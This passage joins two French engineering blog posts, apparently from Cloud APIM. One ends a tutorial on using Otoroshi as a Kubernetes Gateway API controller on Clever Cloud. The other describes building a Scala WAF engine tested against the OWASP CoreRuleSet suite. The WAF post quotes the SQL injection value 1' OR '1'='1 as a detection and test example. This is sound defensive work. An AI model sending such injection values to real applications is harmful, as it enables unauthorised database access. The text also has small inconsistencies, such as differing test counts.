[INFO] [KubernetesGatewayApiControllerJob] Gateway API controller started, watching for GatewayClass resources with controllerName: otoroshi.io/gateway-controller

C’est le signal que vous attendiez. Le contrôleur Gateway API tourne et il est prêt à prendre en charge les ressources.

Pendant qu’Otoroshi devient opérationnel, vous pouvez aussi consulter le service load balancer pour connaître l’IP externe qui lui a été attribuée :

kubectl -n otoroshi get service otoroshi-lb-external

La colonne EXTERNAL-IP affichera d’abord <pending>. Une fois le load balancer provisionné par Clever Cloud, elle se remplira avec une véritable adresse IP. Notez cette IP : vous en aurez besoin pour la configuration DNS et pour les tests.

kubectl -n otoroshi get service otoroshi-lb-external
NAME                   TYPE           CLUSTER-IP      EXTERNAL-IP        PORT(S)
otoroshi-lb-external   LoadBalancer   10.x.x.x        <LOAD_BALANCER_IP>  80:..., 443:...

Étape 8 : installer les CRD de la Gateway API

La Gateway API n’est pas intégrée par défaut à Kubernetes : elle est distribuée sous forme de CRD séparées. Nous devons les installer avant de pouvoir créer des ressources GatewayClass, Gateway ou HTTPRoute.

L’équipe SIG Network maintient les artefacts de release officiels. Nous utilisons la v1.4.0 :

kubectl apply -f 'https://github.com/kubernetes-sigs/gateway-api/releases/download/v1.4.0/standard-install.yaml'

Cela installe les CRD du canal stable : GatewayClass, Gateway, HTTPRoute, GRPCRoute, ReferenceGrant, et quelques autres.

Vérifiez qu’elles sont bien en place :

kubectl get crds | grep gateway.networking.k8s.io

Vous devriez voir des entrées pour gatewayclasses.gateway.networking.k8s.io, gateways.gateway.networking.k8s.io, httproutes.gateway.networking.k8s.io, et ainsi de suite.

Étape 9 : déployer la configuration de la Gateway

C’est maintenant que ça devient amusant. Nous devons créer deux ressources : une GatewayClass qui dit à Kubernetes « c’est Otoroshi qui s’en charge », et une Gateway qui définit notre configuration d’écoute.

Voici le manifeste (manifests/gateway.yaml) :

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: otoroshi
spec:
  controllerName: otoroshi.io/gateway-controller
---
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: demo-otoroshi-gateway
  namespace: otoroshi
spec:
  gatewayClassName: otoroshi
  listeners:
  - name: http
    protocol: HTTP
    port: 80
    hostname: "*.demo-cke.io"
    allowedRoutes:
      namespaces:
        from: All

Voyons cela de plus près :

GatewayClass : le controllerName — ici otoroshi.io/gateway-controller — doit correspondre exactement au gatewayApiControllerName que nous avons configuré dans les variables d’environnement d’Otoroshi. C’est ainsi qu’Otoroshi revendique la gestion de cette GatewayClass.

Gateway :

gatewayClassName: otoroshi relie cette Gateway à notre GatewayClass
Le listener écoute sur le port 80 (HTTP), qui correspond à l’une de nos valeurs gatewayApiHttpListenerPort
hostname: "*.demo-cke.io" est un wildcard : n’importe quel sous-domaine de demo-cke.io peut être routé par cette gateway
allowedRoutes.namespaces.from: All signifie que des ressources HTTPRoute de n’importe quel namespace peuvent se rattacher à cette gateway. En production, vous voudrez plutôt Same ou Selector avec des labels spécifiques

Appliquez-le :

kubectl apply -f manifests/gateway.yaml

Quelques secondes après l’avoir appliqué (le mode watch de la Gateway API réagit très vite avec gatewayApiSyncIntervalSeconds: 2), vous pouvez vérifier que la GatewayClass a bien été acceptée :

kubectl get gatewayclass otoroshi -o yaml

Regardez la section status :

status:
  conditions:
  - lastTransitionTime: "..."
    message: GatewayClass accepted
    reason: Accepted
    status: "True"
    type: Accepted

Accepted: True signifie qu’Otoroshi a reconnu la GatewayClass et qu’il la gère. Si vous voyez False, vérifiez que le controllerName correspond exactement : il est sensible à la casse.

Étape 10 : déployer une application de démo et une HTTPRoute

Déployons maintenant quelque chose vers quoi router réellement du trafic. J’utilise traefik/whoami, un petit serveur web en Go qui renvoie des informations sur la requête HTTP qu’il a reçue. Parfait pour le débogage et les démos.

Voici le manifeste complet (manifests/routes.yaml) :

apiVersion: v1
kind: Namespace
metadata:
  name: demo
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: whoami
  namespace: demo
  labels:
    app: whoami
spec:
  replicas: 1
  selector:
    matchLabels:
      app: whoami
  template:
    metadata:
      labels:
        app: whoami
    spec:
      containers:
        - name: whoami
          image: traefik/whoami:latest
          ports:
            - name: http
              containerPort: 80
          readinessProbe:
            httpGet:
              path: /
              port: http
            initialDelaySeconds: 1
            periodSeconds: 5
          livenessProbe:
            httpGet:
              path: /
              port: http
            initialDelaySeconds: 5
            periodSeconds: 10
---
apiVersion: v1
kind: Service
metadata:
  name: whoami
  namespace: demo
  labels:
    app: whoami
spec:
  type: ClusterIP
  selector:
    app: whoami
  ports:
    - name: http
      port: 80
      targetPort: http
---
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: my-route
  namespace: demo
spec:
  parentRefs:
  - name: demo-otoroshi-gateway
    namespace: otoroshi
    sectionName: http
  hostnames:
  - "whoami.demo-cke.io"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /v1
    backendRefs:
    - name: whoami
      port: 80
      weight: 1

La HTTPRoute est particulièrement intéressante. Passons-la en revue :

parentRefs — référence notre Gateway demo-otoroshi-gateway (remarque : comme la Gateway est dans le namespace demo et que la HTTPRoute est aussi dans demo, aucune autorisation de référence entre namespaces n’est nécessaire). sectionName: http rattache cette route spécifiquement au listener http de cette gateway.
hostnames — cette route ne s’applique qu’aux requêtes portant l’en-tête Host: whoami.demo-cke.io
rules — une seule règle : capter les requêtes dont le chemin commence par /v1 et les transmettre au service whoami sur le port 80

Appliquez-le :

kubectl apply -f manifests/routes.yaml

Après quelques instants, vérifiez le statut de la HTTPRoute :

kubectl get httproute my-route -n demo -o yaml

Le statut devrait afficher :

status:
  parents:
  - conditions:
    - lastTransitionTime: "..."
      message: Route accepted
      reason: Accepted
      status: "True"
      type: Accepted
    - lastTransitionTime: "..."
      message: All references resolved
      reason: ResolvedRefs
      status: "True"
      type: ResolvedRefs
    parentRef:
      name: demo-otoroshi-gateway
      sectionName: http

Accepted: True et ResolvedRefs: True : toutes les références de backend sont valides et la route a été acceptée par la gateway.

Étape 11 : configuration DNS

Il faut que whoami.demo-cke.io résolve vers l’IP externe de notre load balancer. Dans une installation réelle, vous ajouteriez un enregistrement DNS A (ou un enregistrement wildcard *.demo-cke.io) pointant vers cette IP.

Récupérez l’IP de votre load balancer :

kubectl -n otoroshi get service otoroshi-lb-external
NAME                   TYPE           CLUSTER-IP      EXTERNAL-IP        PORT(S)
otoroshi-lb-external   LoadBalancer   10.x.x.x        <LOAD_BALANCER_IP>  80:..., 443:...

Pour cette démo, plutôt que de configurer un vrai DNS, nous pouvons utiliser l’option --resolve de curl pour associer manuellement le nom d’hôte à l’IP — ce qui simule le travail du DNS.

Étape 12 : l’heure de vérité

curl -v --resolve whoami.demo-cke.io:80:<LOAD_BALANCER_IP> http://whoami.demo-cke.io/v1

Si tout est correctement branché, vous verrez quelque chose comme :

*   Trying <LOAD_BALANCER_IP>:80...
* Connected to whoami.demo-cke.io (<LOAD_BALANCER_IP>) port 80
> GET /v1 HTTP/1.1
> Host: whoami.demo-cke.io
> User-Agent: curl/8.x.x
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/plain; charset=utf-8
<
Hostname: whoami-xxxxxxxxx-xxxxx
IP: 127.0.0.1
IP: ::1
IP: 10.x.x.x
RemoteAddr: 10.x.x.x:xxxx
GET /v1 HTTP/1.1
Host: whoami.demo-cke.io
User-Agent: curl/8.x.x
Accept: */*
X-Forwarded-For: x.x.x.x
X-Forwarded-Host: whoami.demo-cke.io
X-Forwarded-Proto: http
X-Real-Ip: x.x.x.x

Un beau HTTP 200. Le trafic est passé de curl → load balancer Clever Cloud → Otoroshi (qui route selon la HTTPRoute que nous avons définie) → le pod whoami du namespace demo.

Remarquez les en-têtes X-Forwarded-For, X-Forwarded-Host et X-Real-Ip injectés par Otoroshi. C’est transparent pour le service backend, mais entièrement géré au niveau de la gateway.

Conseils de dépannage

Si quelque chose ne fonctionne pas, voici ma checklist de débogage :

Consultez les logs d’Otoroshi :

kubectl -n otoroshi logs -f deploy/otoroshi --tail=200

Cherchez les lignes qui mentionnent KubernetesGatewayApiControllerJob, GatewayClass ou HTTPRoute. Toute erreur de réconciliation apparaîtra ici.

Vérifiez le statut des ressources :

kubectl get gatewayclass otoroshi -o yaml
kubectl get gateway demo-otoroshi-gateway -n demo -o yaml
kubectl get httproute my-route -n demo -o yaml

Les champs status.conditions vous indiquent précisément ce qui ne va pas. Problèmes fréquents :

GatewayClass: Accepted: False → le controllerName ne correspond pas
Gateway Listener: Programmed: False → le port indiqué dans la spec de la Gateway ne correspond pas à gatewayApiHttpListenerPort dans la configuration d’Otoroshi
HTTPRoute: Accepted: False → le parentRef est incorrect ou le namespace n’est pas autorisé par les allowedRoutes de la Gateway

Vérifiez les routes générées dans Otoroshi :

curl -s http://<otoroshi-service-ip>:8080/api/routes \
  -u admin-api-apikey-id:admin-api-apikey-secret | \
  jq '.[] | select(.metadata["otoroshi-provider"] == "kubernetes-gateway-api") | {id, name}'

Si la route a été générée, elle apparaîtra ici. Si la liste est vide, c’est que la réconciliation n’a pas encore eu lieu ou qu’elle a rencontré une erreur.

Vérifiez que le pod backend tourne :

kubectl get pods -n demo
kubectl get service whoami -n demo

Si le pod n’est pas prêt ou si le sélecteur du service ne correspond pas aux pods, vous obtiendrez des 503.

Aller plus loin : que peut-on faire d’autre ?

Ce que je vous ai montré ici, ce sont les bases : router du trafic HTTP d’un nom d’hôte et d’un chemin vers un service backend. Mais le support de la Gateway API dans Otoroshi va bien plus loin.

Découpage du trafic pour les déploiements canary

Le champ weight de backendRefs vous permet de répartir le trafic entre plusieurs versions d’un service :

rules:
- backendRefs:
  - name: my-service-v1
    port: 80
    weight: 90
  - name: my-service-v2
    port: 80
    weight: 10

Cela envoie 90 % du trafic vers la v1 et 10 % vers la v2 — un schéma classique de déploiement canary, entièrement configuré de façon déclarative.

Manipulation des en-têtes

Des filtres intégrés vous permettent d’ajouter, de modifier ou de supprimer des en-têtes de requête et de réponse :

rules:
- filters:
  - type: RequestHeaderModifier
    requestHeaderModifier:
      add:
      - name: X-Request-Source
        value: gateway
      remove:
      - X-Internal-Secret
  backendRefs:
  - name: my-service
    port: 80

Redirections et réécritures d’URL

rules:
- matches:
  - path:
      type: PathPrefix
      value: /old-api
  filters:
  - type: RequestRedirect
    requestRedirect:
      scheme: https
      statusCode: 301

Étendre avec les plugins Otoroshi

C’est là que ça devient vraiment puissant. Vous pouvez brancher le système de plugins d’Otoroshi sur les routes via des annotations :

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: my-secure-route
  namespace: demo
  annotations:
    proxy.otoroshi.io/route-plugins: |
      [
        {
          "plugin": "cp:otoroshi.next.plugins.ApikeyCalls",
          "enabled": true,
          "config": {}
        }
      ]
spec:
  # ... rest of the HTTPRoute

Cette annotation impose l’authentification par clé d’API sur la route — en s’appuyant sur tout l’écosystème de plugins d’Otoroshi, accessible via une simple annotation Kubernetes standard. Vous pouvez ajouter de cette façon du rate limiting, de la validation JWT, des règles WAF, et n’importe lequel des plus de 200 plugins d’Otoroshi.

Routage entre namespaces

Si votre HTTPRoute se trouve dans un namespace différent de celui du Service backend, il vous faut un ReferenceGrant dans le namespace cible :

apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
  name: allow-from-frontend
  namespace: backend
spec:
  from:
  - group: gateway.networking.k8s.io
    kind: HTTPRoute
    namespace: frontend
  to:
  - group: ""
    kind: Service

Terminaison HTTPS/TLS

Pour terminer le TLS au niveau d’Otoroshi, référencez un secret TLS Kubernetes dans le listener de votre Gateway :

listeners:
- name: https
  protocol: HTTPS
  port: 443
  hostname: "*.example.com"
  tls:
    mode: Terminate
    certificateRefs:
    - name: my-tls-secret
  allowedRoutes:
    namespaces:
      from: All

Otoroshi importera le certificat depuis le Secret et prendra en charge la terminaison TLS pour toutes les routes rattachées à ce listener.

En conclusion

C’est une installation qui fonctionne vraiment, et qui fonctionne bien.

CKE vous fournit un cluster Kubernetes prêt pour la production en quelques minutes. La commande clever k8s create, l’abstraction NodeGroup pour les pools de workers, le provisionnement automatique du load balancer : c’est rapide, propre, et il y a très peu de friction entre « je veux un cluster » et « j’ai un cluster ». Si vous utilisez déjà Clever Cloud pour vos autres workloads, CKE s’intègre directement dans votre workflow existant, sans la moindre surprise.

L’implémentation de la Gateway API dans Otoroshi tient exactement ses promesses : une réconciliation rapide (les changements se propagent en quelques secondes avec gatewayApiWatch: true), des mises à jour de statut précises sur les ressources GatewayClass, Gateway et HTTPRoute, qui simplifient le débogage, et un accès complet à l’écosystème de plugins d’Otoroshi via les annotations. Toute la surface de routage, de sécurité et de gestion du trafic d’Otoroshi — plus de 200 plugins — est disponible depuis des manifestes Kubernetes standard. L’implémentation fonctionne exactement comme prévu.

Toute la stack s’assemble proprement : quelques commandes kubectl, une poignée de manifestes YAML, et vous disposez d’une API gateway pleinement fonctionnelle, intégrée au standard Gateway API de Kubernetes. Si vous connaissez déjà Otoroshi — ce qui est fort possible si vous utilisez Clever Cloud, puisqu’il y est disponible en add-on —, la courbe d’apprentissage est quasi nulle. Vous exprimez simplement ce qu’Otoroshi sait déjà faire, à la manière standard de Kubernetes.

L’ère des ressources Ingress surchargées d’annotations et de l’enfermement propre à chaque contrôleur touche à sa fin. La Gateway API est la voie à suivre et, avec Otoroshi sur CKE, le chemin pour y arriver est tout tracé.

Si vous avez des questions, si vous rencontrez des problèmes ou si vous voulez partager ce que vous construisez avec cette stack, contactez-nous chez Cloud APIM. Nous sommes toujours ravis de parler réseau Kubernetes, API gateways et de tout ce qui touche à Otoroshi.

Ressources

Construire un WAF natif pour la JVM : du WASM au pur Scala

Mathieu Ancelin — Tue, 03 Feb 2026 07:00:13 GMT

Depuis deux ans, Otoroshi dispose d’un Web Application Firewall propulsé par Coraza, l’excellente implémentation de ModSecurity écrite en Go. Pour y parvenir, nous avions compilé Coraza en WebAssembly (wasm) et nous l’exécutions dans Otoroshi grâce à wasm4s, notre orchestrateur de machines virtuelles wasm. Cela fonctionnait vraiment très bien, surtout avec peu de configurations de WAF. Mais à mesure que le nombre de configurations de WAF et d’instances de VM WASM concurrentes montait à plusieurs centaines, les premières fissures sont apparues. À cause de la nature stateful de l’intégration WASM de Coraza, une configuration (une liste d’instructions SecLang, généralement différente pour chaque tenant) est liée à une VM WASM. Impossible d’initialiser une VM WASM générique puis de lui injecter dynamiquement une configuration différente à chaque évaluation. Forcément, avec des centaines de configurations possibles, la mémoire a explosé, la latence a augmenté et les configurations sont devenues ingérables.

Voici comment j’ai construit un moteur SecLang complet en Scala pendant mes vacances de Noël (enfin, vous voyez, une fois les enfants couchés !), pourquoi je l’ai fait, et tous les défis techniques rencontrés en chemin.

Le problème des WAF basés sur WASM

Avant de plonger dans la solution, laissez-moi expliquer pourquoi nous en avions besoin.

Notre intégration de Coraza en WASM souffrait de plusieurs défauts :

Exécution mono-thread : WASM est par nature mono-thread. Pour traiter des requêtes concurrentes, nous devions démarrer plusieurs machines virtuelles WASM par configuration de WAF.
Empreinte mémoire : chaque instance WASM charge un binaire d’environ 20 Mo. Multipliez cela par le nombre d’instances nécessaires pour le multi-tenant et la concurrence, et la consommation mémoire grimpe très vite.
Coût de sérialisation : chaque requête devait être sérialisée depuis des objets JVM vers des structures compatibles WASM, traitée, puis désérialisée en retour. À grande échelle, ce ballet de sérialisation est devenu un goulot d’étranglement mesurable.
Duplication de la configuration : chaque instance WASM avait besoin de sa propre copie des règles. Aucun partage, aucun cache, aucune composition.

En bref : WASM a réglé la question de la portabilité, mais a révélé des limites de scalabilité dans notre modèle de configuration multi-tenant, très spécifique, chez Cloud APIM. Il nous fallait une implémentation native pour la JVM : thread-safe, économe en mémoire, et conçue pour des environnements multi-tenant où les configurations peuvent être partagées et composées. À cette échelle, le facteur limitant n’était pas WebAssembly en lui-même, mais la façon dont les environnements d’exécution et les configurations étaient couplés.

Comprendre le paysage : ModSecurity, SecLang et CoreRuleSet

Avant d’expliquer comment j’ai construit la solution, faisons un rapide tour de l’écosystème pour partir sur les mêmes bases.

ModSecurity : le grand-père des WAF

ModSecurity est le Web Application Firewall open source le plus déployé. Créé à l’origine pour Apache en 2002, il est ensuite devenu une bibliothèque autonome qui peut être embarquée dans n’importe quel serveur web ou proxy.

ModSecurity ne bloque pas les attaques à lui seul : il fournit le moteur. Vous lui donnez des règles, et il évalue les requêtes entrantes au regard de ces règles.

SecLang : le langage de règles

SecLang (ou « SecRule Language ») est le langage dédié utilisé pour écrire les règles ModSecurity. C’est devenu un standard de fait : pratiquement toutes les implémentations de WAF sérieuses comprennent les règles SecLang.

Voici à quoi ressemble une règle SecLang typique :

SecRule REQUEST_HEADERS:User-Agent "@pm firefox chrome safari" \
    "id:1001,\
    phase:1,\
    pass,\
    t:none,t:lowercase,\
    msg:'Browser detected',\
    tag:'browser-detection'"

Décortiquons-la :

SecRule : la directive qui définit une règle
REQUEST_HEADERS:User-Agent : la variable à inspecter (l’en-tête HTTP User-Agent)
@pm firefox chrome safari : l’opérateur (@pm = phrase match, vérifie si l’un des mots apparaît)
id:1001 : l’identifiant unique de la règle
phase:1 : le moment de l’exécution (phase 1 = après réception des en-têtes)
pass : l’action à effectuer en cas de correspondance (poursuivre le traitement)
t:none,t:lowercase : les transformations à appliquer avant la comparaison
msg:'...' : le message journalisé quand la règle correspond
tag:'...' : un tag de catégorisation

SecLang prend en charge cinq phases d’exécution :

Phase	Nom	Quand
1	En-têtes de requête	Après réception des en-têtes de la requête
2	Corps de requête	Après réception du corps de la requête
3	En-têtes de réponse	Après réception des en-têtes de la réponse
4	Corps de réponse	Après réception du corps de la réponse
5	Journalisation	Avant la journalisation

OWASP CoreRuleSet : le standard du secteur

L’OWASP CoreRuleSet (CRS) est un ensemble complet de règles SecLang qui protège contre les attaques web courantes :

Injection SQL
Cross-Site Scripting (XSS)
Local File Inclusion (LFI)
Exécution de code à distance
Violations de protocole
Et des dizaines d’autres catégories

Le CRS a fait ses preuves sur le terrain, il est régulièrement mis à jour et il est utilisé par les grands CDN et éditeurs de WAF du monde entier. Toute implémentation sérieuse de SecLang doit être compatible avec le CRS.

La version actuelle (CRS 4.x) contient plus de 600 règles, organisées en catégories comme :

REQUEST-911-METHOD-ENFORCEMENT.conf
REQUEST-913-SCANNER-DETECTION.conf
REQUEST-920-PROTOCOL-ENFORCEMENT.conf
REQUEST-930-APPLICATION-ATTACK-LFI.conf
REQUEST-932-APPLICATION-ATTACK-RCE.conf
REQUEST-933-APPLICATION-ATTACK-PHP.conf
REQUEST-941-APPLICATION-ATTACK-XSS.conf
REQUEST-942-APPLICATION-ATTACK-SQLI.conf
REQUEST-949-BLOCKING-EVALUATION.conf
...

Pour résumer : ModSecurity est le moteur, SecLang est le langage, et le CRS est la base de connaissances.

Le projet de Noël commence

C’était fin décembre, et je cherchais un projet perso amusant. Le problème du WAF me trottait dans la tête depuis des mois (peut-être des années), mais je m’étais toujours convaincu que c’était trop complexe. Rien que le parser SecLang ressemblait à une montagne. J’avais déjà essayé plusieurs approches avec les scala parser combinators, fastparse, et même des expressions régulières, mais rien ne fonctionnait à 100 %.

Puis je suis tombé sur seclang_parser : une grammaire ANTLR pour SecLang, maintenue par l’équipe du CoreRuleSet. D’un coup, la montagne ressemblait plutôt à une colline.

Voici l’architecture globale à laquelle j’ai abouti :

L’idée clé : la compilation a lieu une seule fois, l’évaluation a lieu à chaque requête. Passons en revue chaque composant.

Partie 1 : le parser

ANTLR à la rescousse

ANTLR (Another Tool for Language Recognition) est un générateur de parsers qui lit des fichiers de grammaire et produit des parsers dans différents langages cibles. À partir d’un fichier de grammaire .g4, ANTLR génère un lexer, un parser et des classes visitor/listener.

J’ai pris la grammaire de seclang_parser et généré le code Java :

antlr4 -visitor -package com.cloud.apim.seclang.antlr SecLangLexer.g4 SecLangParser.g4

Cela m’a donné une base solide, mais ANTLR ne s’occupe que de la syntaxe : il me restait à construire l’AST (Abstract Syntax Tree, l’arbre syntaxique abstrait).

Construire le visitor de l’AST

ANTLR utilise le pattern visitor. Vous étendez la classe générée SecLangParserBaseVisitor et implémentez une méthode pour chaque règle de grammaire qui vous intéresse.

class AstBuilderVisitor extends SecLangParserBaseVisitor[Any] {

  override def visitConfiguration(ctx: ConfigurationContext): Configuration = {
    val statements = ctx.statement().asScala.flatMap { stmtCtx =>
      Option(visitStmt(stmtCtx)).collect { case s: Statement => s }
    }.toList
    Configuration(statements)
  }

  override def visitSecRule(ctx: SecRuleContext): SecRule = {
    val variables = visitVariables(ctx.variables())
    val operator = visitOperator(ctx.operator())
    val actions = Option(ctx.actions()).map(visitActions)
    SecRule(None, variables, operator, actions, ctx.getText)
  }

  // ... hundreds more visitor methods
}

Le point d’entrée du parser est simple :

object AntlrParser {
  def parse(input: String): Either[String, Configuration] = {
    val lexer = new SecLangLexer(CharStreams.fromString(input))
    val tokens = new CommonTokenStream(lexer)
    val parser = new SecLangParser(tokens)

    val errorListener = new CollectingErrorListener()
    parser.removeErrorListeners()
    parser.addErrorListener(errorListener)

    val tree = parser.configuration()

    if (errorListener.hasErrors) {
      Left(errorListener.getErrors.mkString("\n"))
    } else {
      val visitor = new AstBuilderVisitor()
      Right(visitor.visitConfiguration(tree))
    }
  }
}

C’était la base. Avec l’aide de mon ami Claude, j’ai pu écrire toutes les méthodes du visitor et gérer les bizarreries de la syntaxe SecLang. Le visitor du parser fait à lui seul environ 400 lignes de Scala (adossées à 11 000 lignes de Java générées par ANTLR).

Partie 2 : le compilateur

Une fois l’AST en main, il fallait le transformer en quelque chose d’exécutable. Avec le temps, il est devenu évident qu’un moteur SecLang tient moins du filtrage de requêtes que de l’interprétation d’un langage de programmation dédié à la sécurité, sous de fortes contraintes de performances. Le rôle du compilateur est de :

Résoudre les chaînes de règles : SecLang permet de chaîner des règles avec l’action chain ; si la première règle correspond, on vérifie la deuxième, et ainsi de suite.
Organiser par phase : regrouper les règles par phase d’exécution pour un traitement efficace.
Gérer les suppressions de règles : traiter SecRuleRemoveById, SecRuleRemoveByTag, etc.
Indexer les marqueurs : pour les actions skipAfter, précalculer la position des marqueurs.
Précompiler les regex : compiler les expressions régulières une seule fois, et non à chaque évaluation.

Voici une vue simplifiée de la logique de résolution des chaînes :

def compileChains(rules: List[SecRule]): List[RuleChain] = {
  var chains = ListBuffer[RuleChain]()
  val current = ListBuffer[SecRule]()

  for (rule <- rules) {
    current += rule
    if (!rule.isChain) {
      // Chain complete, emit it
      chains += RuleChain(current.toList)
      current.clear()
    }
  }

  chains.toList
}

Le compilateur produit un CompiledProgram :

case class CompiledProgram(
  chains: Map[Int, List[RuleChain]],   // phase -> chains
  markers: Map[String, Int],           // marker name -> index
  mode: EngineMode                     // On, Off, or DetectionOnly
)

Partie 3 : le moteur d’exécution

C’est ici que se fait le vrai travail. Le moteur évalue un CompiledProgram sur un RequestContext et renvoie une disposition (continuer ou bloquer).

La boucle principale

Voici une vue simplifiée de la logique de la boucle principale :

def evaluate(ctx: RequestContext, phases: List[Int]): EngineResult = {
  var state = RuntimeState.initial(program.mode)

  for (phase <- phases if state.shouldContinue) {
    for (chain <- program.chains.getOrElse(phase, Nil)) {
      val result = evaluateChain(chain, ctx, state)
      state = result.state

      result.disposition match {
        case Disposition.Block(status, msg, ruleId) =>
          // Early exit
          return EngineResult(
            Disposition.Block(status, msg, ruleId), 
            state
          )
        case Disposition.Continue =>
          // Keep going
      }
    }
  }

  EngineResult(Disposition.Continue, state)
}

Variables, transformations, opérateurs, actions

Le moteur implémente quatre composants clés, qui suivent tous le même modèle : du pattern matching Scala sur l’AST.

Variables (plus de 30) : elles extraient des données de la requête (REQUEST_URI, REQUEST_HEADERS, ARGS, COOKIES, etc.). Elles permettent d’accéder aux collections par clé ou avec des sélecteurs regex comme REQUEST_HEADERS:/^X-Custom-/.
Transformations (plus de 25) : elles normalisent les valeurs avant la comparaison (lowercase, urlDecode, base64Decode, htmlEntityDecode, removeWhitespace, etc.). Elles peuvent être chaînées : t:lowercase,t:urlDecode.
Opérateurs (plus de 15) : ils effectuent la comparaison proprement dite (@rx pour les regex, @pm pour le phrase match, @contains, @beginsWith, @ipMatch, @detectSQLi, @detectXSS, etc.).
Actions : elles s’exécutent en cas de correspondance (block, pass, deny, setvar pour les variables TX, skip, skipAfter pour le contrôle de flux, etc.).

Voici un aperçu de l’implémentation des opérateurs :

def matchOperator(op: Operator, value: String): Boolean = op match {
  case Operator.Rx(pattern) => RegexPool.regex(pattern).findFirstIn(value).isDefined
  case Operator.Pm(phrases) => phrases.exists(p => value.toLowerCase.contains(p.toLowerCase))
  case Operator.Contains(s) => value.contains(s)
  case Operator.IpMatch(ranges) => ranges.exists(_.contains(InetAddress.getByName(value)))
  // ... etc
}

Partie 4 : le défi libinjection

En implémentant les opérateurs, je me suis heurté à un mur : SecLang inclut les opérateurs @detectSQLi et @detectXSS, qui s’appuient sur libinjection, une bibliothèque C de détection des injections SQL et des attaques XSS. Il n’en existait aucun portage en Java ou en Scala. J’avais donc deux options :

abandonner
ou porter en Java une bibliothèque de sécurité C de 4 000 lignes

Devinez laquelle j’ai choisie.

libinjection utilise une technique astucieuse : plutôt que des expressions régulières, elle tokenise l’entrée et génère une « empreinte » (fingerprint), comparée ensuite à des motifs d’attaque connus. Par exemple, l’entrée SQL 1' OR '1'='1 est découpée en tokens et réduite à [s, &, s] (chaîne, opérateur booléen, chaîne), puis comparée à plus de 9 000 empreintes d’injection SQL connues. La détection XSS fonctionne de façon similaire, en s’appuyant sur la tokenisation HTML5 pour repérer les balises, les attributs et les schémas d’URL dangereux.

Le portage a demandé un effort considérable : le code C d’origine dépasse les 4 000 lignes, avec beaucoup d’arithmétique de pointeurs. L’aide de mon ami Claude a été précieuse ici, pour traduire les idiomes et repérer les cas limites. Le résultat, c’est libinjection-jvm, une bibliothèque Java sans aucune dépendance, entièrement compatible avec la suite de tests d’origine.

Partie 5 : la suite de tests du CoreRuleSet

Construire le moteur était une chose. Prouver qu’il fonctionnait en était une autre.

Le projet CoreRuleSet inclut une suite de tests complète, avec plus de 4 000 tests au format YAML :

- test_id: 1
  desc: "Test SQL injection detection"
  stages:
    - input:
        method: "GET"
        uri: "/test?id=1' OR '1'='1"
      output:
        log:
          expect_ids: [942100]

J’ai écrit un test runner qui :

Analyse les définitions de tests YAML
Construit des objets RequestContext à partir des entrées des tests
Exécute le moteur avec les règles du CRS
Vérifie le résultat attendu (bloqué ou autorisé)

La suite de tests du CRS s’est révélée être autant une spécification du comportement attendu qu’un outil de validation.

Premier lancement : 40 % de réussite, puis, après quelques heures de corrections simples : 60 % de réussite.

Alors a commencé le marathon du débogage. Certains échecs venaient de bugs du moteur. D’autres, de bugs du test runner. Quelques-uns, de ma mauvaise compréhension de la sémantique de SecLang.

Test: 942100-1
Expected: BLOCKED
Got: ALLOWED
Rule: SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|... "@rx (?i)..." ...
Issue: Regex flag handling in negative lookahead

Un par un, j’ai corrigé les problèmes :

Flags de regex mal propagés
Sémantique d’incrémentation des variables TX
Logique de court-circuit dans l’évaluation des chaînes
Ordre des transformations
Sensibilité à la casse dans la comparaison des en-têtes
Règles de phase 5, censées seulement journaliser, qui bloquaient à tort

Cette partie a été de véritables montagnes russes émotionnelles : certains correctifs ne réparaient qu’un seul test, d’autres en réparaient environ 200 d’un coup. Mais au bout d’une semaine de travail : 100 % de réussite sur 4 138 tests.

{
  "global_stats": {
    "passing_percentage": 100,
    "total_tests": 4174,
    "success_tests": 4174,
    "failure_tests": 0
  },
  "time_stats": {
    "total_time_ms": 25945,
    "avg_time_ms": 6,
    "min_time_ms": 1,
    "max_time_ms": 4242
  }
}

Le problème d’Apache

Voici une chose que je n’avais pas anticipée : la suite de tests officielle du CRS a été conçue pour tester ModSecurity + CRS tournant dans Apache, dans un conteneur Docker. Le harnais de test envoie de vraies requêtes HTTP au conteneur et vérifie les réponses.

Le problème ? Certains tests ne testaient pas vraiment le comportement du WAF : ils testaient celui d’Apache. Par exemple, Apache rejette certaines requêtes malformées (caractères invalides dans les URI, lignes HTTP malformées) avant même qu’elles n’atteignent ModSecurity. Le test attendait un blocage, mais ce blocage venait d’Apache, pas des règles du CRS.

En lançant ces mêmes tests sur un moteur SecLang pur, sans Apache devant, ils échouaient : non pas parce que mon moteur se trompait, mais parce que le test supposait le prétraitement d’Apache.

Comme mon test runner évalue les règles directement (sans reverse proxy), j’ai dû identifier ces cas et modifier les critères d’acceptation. Au lieu de vérifier que le serveur répond avec un statut 400 (ce qui serait l’œuvre d’Apache), j’ai modifié les tests pour vérifier qu’une règle précise du CRS avait bien été déclenchée. Même entrée malveillante, mais on teste désormais le vrai comportement du WAF. Ce travail pourrait profiter au projet CRS en amont, pour tous ceux qui construisent des implémentations alternatives de SecLang.

Partie 6 : le pattern factory pour le multi-tenant

Chez Cloud APIM, nous faisons tourner une infrastructure multi-tenant. Plusieurs clients peuvent partager des instances Otoroshi (ou utiliser les leurs), chacun avec ses propres configurations de WAF. Il nous fallait :

Des règles de base partagées : le CRS chargé une seule fois, partagé entre tous les tenants
Une personnalisation par tenant : chaque tenant peut ajouter ou retirer des règles
Un cache efficace : les programmes compilés sont mis en cache et réutilisés

En pratique, le multi-tenant a tendance à faire de la configuration un enjeu de scalabilité à part entière, au même titre que le CPU et la mémoire.

La solution : un pattern factory avec des presets.

// Define reusable presets
val presets = Map(
  "crs" -> SecLangPreset.fromResources("crs",
    "/coreruleset/crs-setup.conf.example",
    "/coreruleset/rules/*.conf"
  )
)

// Create factory
val factory = SecLang.factory(presets)

// Tenant-specific configuration
val tenantRules = List(
  "@import_preset crs",
  """SecRuleRemoveById 942100""",  // Disable specific rule
